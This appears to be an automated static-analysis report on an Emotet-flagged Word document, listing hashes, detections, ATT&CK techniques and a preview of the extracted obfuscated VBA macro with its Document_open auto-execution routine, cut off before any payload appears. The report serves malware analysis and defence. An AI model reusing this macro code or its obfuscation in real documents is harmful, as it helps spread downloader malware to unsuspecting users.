Emotet — Office (OLE) / .DOCX malware analysis

Static analysis result for SHA-256 70f45e130d7b6b8b…

MALICIOUS

Office (OLE) / .DOCX

162.3 KB Created: 2020-09-14 06:44:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 1c6cb414a3efe0cc817ae51de235246f SHA-1: 45e177ab0a1d537c4cde7bb1037d7c000dfcc40c SHA-256: 70f45e130d7b6b8b6848fe1b4c9d8399b04f44ccd52f6304801e18120e42c0a7
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature 'Doc.Malware.Emotet-9762310-0', indicating a high likelihood of the Emotet family. The presence of a 'Document_Open' VBA macro that uses 'CreateObject' strongly suggests an attempt to execute arbitrary code. The macro's obfuscated nature and the use of string concatenation to build commands point towards a downloader functionality, likely for a secondary payload.

Heuristics 6

  • ClamAV: Doc.Malware.Emotet-9762310-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9762310-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
94aa0eae3715e5e4c777d8559a3d12a3d055d6c09f9bd5aa9415cdba60070681		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 25226 bytes
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "N54c9b8e6qe4hc5oe0"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Nz2utzycmiz2vtx = Array(Asa97gaco8p0 + "Mrrolup9d6aag2xnOej4pt3l2mzy Qk1n63inj0ij" + Q_8zqnzjmk18c91cvi, G8i2l576f3lfaus7, Xgqkkiehy1v6.Jzcy9ca_81p5vwlbo, Kc8m_8k_aq45tlz2s + "Apiw6ususbeznuc8ys Kka92lncaxqwp Osqu4hm5qpj6ldi Pxgpe1arslssr8bp1")
End Sub


Attribute VB_Name = "Xgqkkiehy1v6"
Attribute VB_Base = "0{3276B216-88CE-4111-8F45-4EA8D3C1D690}{AF6E5B6A-3478-4E5C-88AB-D742C72AC555}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Jzcy9ca_81p5vwlbo()
On Error Resume Next
   CiXQnDJBd = "pwYjWjkWqMLGO"
awUlmLRhHwj = Mid(CiXQnDJBd, 6, 2)
iATYEK = awUlmLRhHwj
IhfXtbz = "5kzblYaszWGS6C8wP"
CqAXzOw = Mid(IhfXtbz, 7, 2)
qGwwHwGRWwc = CqAXzOw
FjzwaUEc = "lR4v8TckukXnjZzYVazU7N0zURNjRB5 GkTc"
PhdRzEcmb = Mid(FjzwaUEc, 34, 1)
TXGWj = PhdRzEcmb
GOJAhhJQ = "TtpYhM8PRobn1z"
TNiODEzMPti = Mid(GOJAhhJQ, 12, 1)
SuLoW = TNiODEzMPti
wMKCEhZ = "qbGkg4sfPK7aDcv wSI763KTZI9Ocw"
StoqvC = Mid(wMKCEhZ, 4, 2)
MVqFdiDrZl = StoqvC
mRHDhUz = "C86dCiz9L1aqWb TCzEKEPQk4jaWNz4asUJRcSb"
mMdPn = Mid(mRHDhUz, 14, 2)
hjFXDTC = mMdPn
SCEHz = " FwJGjE2jwuVqatGL6fjRm8OlpWpdK O"
NujiUqzEvvd = Mid(SCEHz, 9, 2)
bdpoDPnYFoW = NujiUqzEvvd
wiVhdXmuM = "2jRUXp8LDdPp"
hNdzoTao = Mid(wiVhdXmuM, 10, 1)
YinaPinc = hNdzoTao
tijOoKE = "uiUJHIsW0heVrJqZ2Av"
DFzquY = Mid(tijOoKE, 11, 1)
ZzRGXsD = DFzquY
ADKczCz = "PIwbFGdbpAK"
MrlWLsJVb = Mid(ADKczCz, 7, 1)
PbpdzBhVhEz = MrlWLsJVb
kcavkHimhnl = "wuERbzzKZ4eaz1jrjk5r4vsnmcEL5hZ"
jTnHazsDJNo = Mid(kcavkHimhnl, 11, 1)
FFXqSfthA = jTnHazsDJNo
Hwqnkw2_lry = 90
   CiXQnDJBd = "pwYjWjkWqMLGO"
awUlmLRhHwj = Mid(CiXQnDJBd, 6, 2)
iATYEK = awUlmLRhHwj
IhfXtbz = "5kzblYaszWGS6C8wP"
CqAXzOw = Mid(IhfXtbz, 7, 2)
qGwwHwGRWwc = CqAXzOw
FjzwaUEc = "lR4v8TckukXnjZzYVazU7N0zURNjRB5 GkTc"
PhdRzEcmb = Mid(FjzwaUEc, 34, 1)
TXGWj = PhdRzEcmb
GOJAhhJQ = "TtpYhM8PRobn1z"
TNiODEzMPti = Mid(GOJAhhJQ, 12, 1)
SuLoW = TNiODEzMPti
wMKCEhZ = "qbGkg4sfPK7aDcv wSI763KTZI9Ocw"
StoqvC = Mid(wMKCEhZ, 4, 2)
MVqFdiDrZl = StoqvC
mRHDhUz = "C86dCiz9L1aqWb TCzEKEPQk4jaWNz4asUJRcSb"
mMdPn = Mid(mRHDhUz, 14, 2)
hjFXDTC = mMdPn
SCEHz = " FwJGjE2jwuVqatGL6fjRm8OlpWpdK O"
NujiUqzEvvd = Mid(SCEHz, 9, 2)
bdpoDPnYFoW = NujiUqzEvvd
wiVhdXmuM = "2jRUXp8LDdPp"
hNdzoTao = Mid(wiVhdXmuM, 10, 1)
YinaPinc = hNdzoTao
tijOoKE = "uiUJHIsW0heVrJqZ2Av"
DFzquY = Mid(tijOoKE, 11, 1)
ZzRGXsD = DFzquY
ADKczCz = "PIwbFGdbpAK"
MrlWLsJVb = Mid(ADKczCz, 7, 1)
PbpdzBhVhEz = MrlWLsJVb
kcavkHimhnl = "wuERbzzKZ4eaz1jrjk5r4vsnmcEL5hZ"
jTnHazsDJNo = Mid(kcavkHimhnl, 11, 1)
FFXqSfthA = jTnHazsDJNo
R0p6ihmkchifb4gzd = Fhei5_1aeiz7f + Chr$(Hwqnkw2_lry + (25))
   CiXQnDJBd = "pwYjWjkWqMLGO"
awUlmLRhHwj = Mid(CiXQnDJBd, 6, 2)
iATYEK = awUlmLRhHwj
IhfXtbz = "5kzblYaszWGS6C8wP"
CqAXzOw = Mid(IhfXtbz, 7, 2)
qGwwHwGRWwc = CqAXzOw
FjzwaUEc = "lR4v8TckukXnjZzYVazU7N0zURNjRB5 GkTc"
PhdRzEcmb = Mid(FjzwaUEc, 34, 1)
TXGWj = PhdRzEcmb
GOJAhhJQ = "TtpYhM8PRobn1z"
TNiODEzMPti = Mid(GOJAhhJQ, 12, 1)
SuLoW = TNiODEzMPti
wMKCEhZ = "qbGkg4sfPK7aDcv wSI763KTZI9Ocw"
StoqvC = Mid(wMKCEhZ, 4, 2)
MVqFdiDrZl = StoqvC
mRHDhUz = "C86dCiz9L1aqWb TCzEKEPQk4jaWNz4asUJRcSb"
mMdPn = Mid(mRHDhUz, 14, 2)
hjFXDTC = mMdPn
SCEHz = " FwJGjE2jwuVqatGL6fjRm8OlpWpdK O"
NujiUqzEvvd = Mid(SCEHz, 9, 2)
bdpoDPnYFoW = NujiUqzEvvd
wiVhdXmuM = "2jRUXp8LDdPp"
hNdzoTao = Mid(wiVhdXmuM, 10, 1)
YinaPinc = hNdzoTao
tijOoKE = "uiUJHIsW0heVrJqZ2Av"
DFzquY = Mid(tijOoKE, 11, 1)
ZzRGXsD = DFzquY
ADKczCz = "PIwbFGdbpAK"
MrlWLsJVb = Mid(ADKczCz, 7, 1)
PbpdzBhVhEz = MrlWLsJVb
kcavkHimhnl = "wuERbzzKZ4eaz1jrjk5r4vsnmcEL5hZ"
jTnHazsDJNo = Mid(kcavkHimhnl, 11, 1)
FFXqSf
... (truncated)

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